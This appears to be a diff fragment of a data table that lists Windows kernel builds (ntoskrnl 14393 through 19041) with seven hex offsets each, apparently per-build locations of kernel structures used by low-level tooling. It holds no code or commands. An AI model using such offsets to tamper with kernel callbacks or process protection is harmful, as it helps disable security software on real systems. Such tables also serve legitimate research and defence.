-ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50 -ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50 -ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50 -ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50 -ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50 -ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50 -ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50 -ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50 -ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50 -ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50 -ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50 -ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50 -ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50 -ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50 -ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50 -ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50 -ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50 -ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50 -ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50 -ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50 -ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50 -ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50 -ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50 -ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50 -ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50 -ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50 -ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50 -ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50 -ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50 -ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50 -ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50 -ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50 -ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50 -ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50 -ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50 -ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50 -ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50 -ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50 -ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50 -ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50 -ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50 -ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50 -ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50 -ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50 -ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50 -ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50 -ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50 -ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50 -ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50 -ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50 -ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50 -ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50 -ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 -ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50 -ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50 -ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50 -ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50 -ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50 -ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50 -ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50 -ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50 -ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50 -ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50 -ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50 -ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50 -ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50 -ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50 -ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50 -ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50 -ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50 -ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50 -ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50 -ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50 -ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50 -ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50 -ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50 -ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50 -ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50 -ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50 -ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50 -ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50 -ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50 -ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50 -ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 -ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 -ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 -ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 -ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50 -ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50 -ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50 -ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50 -ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50 -ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50 -ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50 -ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50 -ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 -ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 -ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 -ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 -ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 -ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50 -ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50 -ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50 -ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 -ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50 -ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50 -ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 -ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50 -ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50 -ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50 -ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50 -ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 -ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50 -ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 -ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50 -ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 -ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 -ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 -ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 -ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 -ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50 -ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 -ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 -ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 -ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50 -ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 -ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 -ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 -ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50 -ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50 -ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50 -ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50 -ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50 -ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50 -ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50 -ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50 -ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50 -ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50 -ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 -ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50 -ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50 -ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50 -ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50 -ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50 -ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 -ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50 -ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 -ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50 -ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 -ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 -ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50 -ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50 -ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50 -ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50 -ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50 -ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50 -ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50 -ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60 -ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60 -ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60 -ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60 -ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60 -ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 -ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 -ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 -ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50 -ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 -ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60 -ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60 -ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60 -ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 -ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60 -ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 -ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 -ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 -ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 -ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50 -ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 -ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 -ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 -ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 -ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 -ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 -ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 -ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60 -ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60 -ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60 -ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60 -ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50 -ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50 -ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60 -ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60 -ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60 -ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60 -ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60 -ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60 -ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60 -ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60 -ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60 -ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50 -ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50 -ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50 -ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50 -ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50 -ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50 -ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50 -ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50 -ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50 -ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 -ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 -ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 -ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50 -ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 -ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50 -ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50 -ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50 -ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50 -ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50 -ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50 -ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50 -ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50 -ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50 -ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50 -ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50 -ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50 -ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60 -ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60 -ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60 -ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60 -ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60 -ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50 -ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 -ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 -ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 -ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 -ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 -ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60 -ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 -ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 -ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60 -ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 -ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 -ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50 -ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60 -ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60 -ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60 -ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60 -ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60 -ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60 -ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60 -ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60 -ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50 -ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50 -ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50 -ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50 -ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50 -ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50 -ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50 -ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50 -ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50 -ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50 -ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50 -ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50 -ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50 -ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50 -ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50 -ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50 -ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50 -ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60 -ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60 -ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60 -ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60 -ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60 -ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60 -ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60 -ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60 -ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60 -ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60 -ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60 -ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60 -ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60 -ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60 -ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60 -ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60 -ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60 -ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60 -ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60 -ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60 -ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60 -ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60 -ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60 -ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60 -ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60 -ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60 -ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60 -ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60 -ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60 -ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60 -ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60 -ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60 -ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60 -ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60 -ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60 -ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60 -ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60 -ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60 